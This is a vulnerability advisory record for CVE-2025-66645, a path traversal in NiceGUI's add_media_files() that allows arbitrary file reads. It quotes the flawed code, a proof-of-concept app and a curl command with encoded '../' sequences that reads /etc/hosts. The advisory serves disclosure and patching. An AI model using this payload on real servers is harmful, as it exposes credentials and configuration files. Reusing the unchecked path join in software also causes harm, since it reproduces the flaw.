{"id":"CVE-2025-66645","aliases":["GHSA-hxp3-63hc-5366","PYSEC-2026-1700"],"title":"NiceGUI has a path traversal in app.add_media_files() allows arbitrary file read","summary":"NiceGUI has a path traversal in app.add_media_files() allows arbitrary file read","severity":"high","cvss":7.5,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","vendor":"nicegui","product":"nicegui","ecosystem":"pip","affected":["nicegui < 3.4.0"],"patched":["nicegui 3.4.0"],"published":"2025-12-09","updated":"2026-07-07","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-hxp3-63hc-5366","references":[{"url":"https://github.com/zauberzeug/nicegui/security/advisories/GHSA-hxp3-63hc-5366"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66645"},{"url":"https://github.com/zauberzeug/nicegui/commit/a1b89e2a24e1911a40389ace2153a37f4eea92a9"},{"url":"https://github.com/zauberzeug/nicegui"}],"tags":["osv","pip"],"epss":0.0112,"epssPercentile":0.64251,"ingestedAt":"2026-07-08T18:25:50.350Z","slug":"CVE-2025-66645","body":"## Overview\n\n### Summary\n\nA directory traversal vulnerability in NiceGUI's `App.add_media_files()` allows a remote attacker to read arbitrary files on the server filesystem.\n\n### Details\n\nHello, I am Seungbin Yang, a university student studying cybersecurity. \nWhile reviewing the source code of the repository, I discovered a potential vulnerability and successfully verified it with a PoC.\n\nThe `App.add_media_files(url_path, local_directory)` method allows users to serve media files. However, the implementation lacks proper path validation.\n\n```python\ndef add_media_files(self, url_path: str, local_directory: Union[str, Path]) -> None:\n    @self.get(url_path.rstrip('/') + '/{filename:path}')\n    def read_item(request: Request, filename: str, nicegui_chunk_size: int = 8192) -> Response:\n        filepath = Path(local_directory) / filename\n        if not filepath.is_file():\n            raise HTTPException(status_code=404, detail='Not Found')\n        return get_range_response(filepath, request, chunk_size=nicegui_chunk_size)\n```\nRoot Cause:\n1. The `{filename:path}` parameter accepts full paths, including traversal sequences like `../`.\n2. The code simply joins local_directory and filename without checking if the result is still inside the local_directory.\n3. There is no path sanitization or boundary check.\n\nConsequence:\nAn attacker can use `..` to access files outside the intended directory. If the application has permission, sensitive files (e.g., /etc/hosts, source code, config files) can be exposed.\n\n### POC\n1. Create `poc.py`:\n```python\n# poc.py\nfrom pathlib import Path\nfrom nicegui import app, ui\n\nMEDIA_DIR = Path(__file__).parent / 'media'\nMEDIA_DIR.mkdir(exist_ok=True)\n\n# Expose local \"media\" directory at /media\napp.add_media_files('/media', MEDIA_DIR)\n\n@ui.page('/')\ndef index():\n    ui.label('NiceGUI media PoC')\n\nui.run(port=8080, reload=False)\n```\n\n2. Run the application: `python3 poc.py`\n\n3. Exploit with curl: Use URL-encoded dots (`%2e`) to bypass client-side checks.\n```curl -v \"http://localhost:8080/media/%2e%2e/%2e%2e/%2e%2e/etc/hosts\"```\n\n\n### Result:\nThe HTTP status is 200 OK, and the response body contains the contents of the server’s /etc/hosts file.\n\nI have attached a screenshot of the successful exploitation below. As shown in the image, the content of /etc/hosts displayed via cat matches the output received from the curl request perfectly.\n\n<img width=\"1728\" height=\"1078\" alt=\"POC screenshot\" src=\"https://github.com/user-attachments/assets/6c1be75b-6be2-4372-90df-55042c1e4775\" />\n\n### Impact\n\nAny NiceGUI application that calls app.add_media_files() on a URL path reachable by an attacker is affected. An unauthenticated remote attacker can read sensitive files outside the intended media directory, potentially exposing:\n\n•Application source code and configuration files\n•Credentials, API keys, and secrets\n•Operating system configuration files (e.g., /etc/passwd, /etc/hosts)\n\nThis is my first github vulnerability report, so I would appreciate your understanding regarding any potential shortcomings. If you require any further information or clarification, please feel free to contact me at y4rvin@naver.com.\n\nThank you.\n\n## Affected packages\n\n- `nicegui < 3.4.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `nicegui 3.4.0`","depth":"twilight","depthScore":41,"depthScoreParts":{"impact":41.3,"likelihood":0.2,"exploitation":0,"ransomware":0},"changes":[]}